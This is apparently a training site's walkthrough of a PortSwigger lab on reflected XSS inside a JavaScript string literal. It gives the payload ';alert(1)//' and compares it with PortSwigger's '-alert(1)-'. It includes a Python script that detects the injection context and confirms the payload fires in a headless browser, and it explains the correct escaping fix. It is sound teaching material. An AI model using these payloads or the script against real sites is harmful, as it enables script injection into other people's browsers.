LearnCross-Site Scripting (XSS) › Reflected XSS into a JavaScript string with angl…

Reflected XSS into a JavaScript string with angle brackets HTML encoded

PortSwigger Apprentice Cross-Site Scripting (XSS)

Original lab: Reflected XSS into a JavaScript string with angle brackets HTML encoded on PortSwigger ↗

This lab moves the injection point somewhere new: inside a JavaScript string literal embedded directly in the page, rather than in HTML markup or an attribute value. That's a meaningfully different context — the browser isn't looking for tags or attributes here, it's looking for the end of a quoted string inside a <script> block, and angle-bracket encoding is completely irrelevant to that parser.

The Target

The search functionality again, but this time the search term is echoed into an inline <script> block as part of a JavaScript variable assignment — something like var searchTerm = 'INPUT'; — rather than into the HTML body or an attribute.

The Investigation

Classifying the reflection context here meant looking for the value inside a <script> tag rather than an HTML tag or attribute, which our detection logic flags separately. Once confirmed as a JavaScript-string context, we probed the same filter characters as always: angle brackets came back encoded, but the single quote delimiting the string was reflected completely unescaped. That's the whole story for this lab — a JS string context cares about the quote character that opens and closes it, not about angle brackets, which have no special meaning to the JavaScript parser at all.

The Exploit

We closed the string with an unescaped single quote, added a statement, and commented out whatever JavaScript follows in the original source:

';alert(1)//

Delivered as:

GET /?search=%27%3Balert(1)%2F%2F

This turned var searchTerm = 'INPUT'; into var searchTerm = '';alert(1)//';. The first ' closes our string, the ; ends the (now-empty) assignment statement, alert(1) runs as its own statement, and // comments out the trailing '; the application appends after our input — so the rest of the line never causes a syntax error.

Comparing Notes: PortSwigger's Official Solution

PortSwigger's published solution submits a random string to confirm it lands inside a JavaScript string, then replaces it with '-alert(1)-' to break out of the string and call alert(). That's a slightly different construction from ours — they close the string, subtract alert(1)'s return value (undefined, coerced to NaN) from the empty string on either side, and rely on the remainder of the line still being syntactically valid rather than commenting it out. Both payloads exploit the exact same underlying weakness (the single quote isn't escaped, so it terminates the string early), they just handle the trailing JavaScript differently — theirs folds it into a harmless expression, ours comments it out entirely. Either approach is valid; which one works can depend on exactly what code follows the injection point in a given target, so having both techniques available is useful in practice.

What This Teaches Us

HTML-encoding is a defense against an HTML parser, and it does nothing against a JavaScript parser reading a <script> block — the two have completely different special characters and completely different escape mechanisms. A single quote inside a JS string is dangerous in exactly the same way an unescaped double quote is dangerous inside an HTML attribute: it lets an attacker redefine where the "trusted" region ends. The fix for this context is JavaScript string escaping — backslash-escape quotes, backslashes, and line terminators before embedding user data inside a script block — and, more robustly, avoid writing user data directly into inline script at all in favor of passing it through a data-* attribute or a JSON-encoded value read by the script rather than concatenated into it.


The automated solution

Here's the full Python script that solves this lab against your own instance — the same technique from the writeup, packaged to run. View on GitHub.

Show the solution script (Python)
#!/usr/bin/env python3
"""
Reflected XSS into a JavaScript string with angle brackets HTML encoded
PortSwigger Web Security Academy — Cross-Site Scripting (XSS)

Companion script for the writeup: 09-reflected-xss-js-string-angle-brackets-encoded.md

What this does:
    Confirms the search term is reflected inside an inline <script> block's
    single-quoted string literal, and that angle brackets are HTML-encoded
    while the single quote itself is not. Closes the string, starts a fresh
    statement calling alert(), and comments out the rest of the line so the
    trailing JavaScript the application appends doesn't cause a syntax
    error. Confirms execution with a headless browser.

Usage:
    python 09-reflected-xss-js-string-angle-brackets-encoded.py <lab-url>
    e.g. python 09-reflected-xss-js-string-angle-brackets-encoded.py https://0a1b00fa03d9c8b6803b56b400eb00d5.web-security-academy.net

Requirements:
    pip install httpx
    pip install playwright && playwright install chromium
"""

import re
import sys
import urllib.parse
import httpx
from playwright.sync_api import sync_playwright

CANARY = "xssCANARY7531"


def classify_and_craft(client: httpx.Client, lab_url: str) -> str:
    """Reproduces detect_reflected_xss() + craft_xss_payload()'s js_string-context branch."""
    r = client.get(lab_url, params={"search": CANARY})
    if CANARY not in r.text:
        raise RuntimeError("canary not reflected in 'search' parameter")

    if re.search(rf"<script[^>]*>[^<]*{CANARY}", r.text, re.IGNORECASE | re.DOTALL):
        context = "js_string"
    else:
        context = "html"
    print(f"[+] Context classified as: {context}")

    angle_encoded = False
    r = client.get(lab_url, params={"search": f"{CANARY}<>"})
    if "&lt;" in r.text or "&gt;" in r.text:
        angle_encoded = True
        print("[*] Angle brackets are HTML-encoded")

    quotes_escaped = False
    r = client.get(lab_url, params={"search": f"{CANARY}'"})
    if "\\'" in r.text or "&#39;" in r.text:
        quotes_escaped = True
        print("[*] Single quotes are escaped")
    else:
        print("[*] Single quotes are NOT escaped -- the string can be closed early")

    if context != "js_string":
        raise RuntimeError(f"unexpected context for this lab: {context}")

    if quotes_escaped:
        raise RuntimeError("single quotes are escaped -- this payload path doesn't apply")

    # angle_encoded or not, an unescaped single quote closes the string either way.
    payload = "';alert(1)//"
    return payload


def solve(lab_url: str) -> None:
    client = httpx.Client(base_url=lab_url, follow_redirects=True, timeout=20)
    client.get("/")
    session = client.cookies.get("session", "")
    domain = urllib.parse.urlparse(lab_url).netloc

    payload = classify_and_craft(client, lab_url)
    print(f"[*] Crafted payload: {payload}")

    url = f"{lab_url}/?search={urllib.parse.quote(payload)}"

    alert_fired = False
    with sync_playwright() as p:
        browser = p.chromium.launch(headless=True)
        ctx = browser.new_context()
        if session:
            ctx.add_cookies([{"name": "session", "value": session, "domain": domain, "path": "/"}])
        page = ctx.new_page()

        def on_dialog(dialog):
            nonlocal alert_fired
            alert_fired = True
            dialog.accept()

        page.on("dialog", on_dialog)
        try:
            page.goto(url, wait_until="domcontentloaded", timeout=15000)
            page.wait_for_timeout(3000)
        except Exception:
            pass
        browser.close()

    print(f"[{'+' if alert_fired else '-'}] alert() {'fired' if alert_fired else 'did NOT fire'}")

    check = client.get("/")
    if "Congratulations" in check.text:
        print("[+] Lab solved.")
    else:
        print("[-] Not solved yet.")


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <lab-url>")
        sys.exit(1)
    solve(sys.argv[1].rstrip("/"))

Related labs

Want to go from zero to junior pentester?

These walkthroughs are a taste. The full path — live, hands-on, in a small cohort — starts with a free webinar.

Join the Free Live Webinar →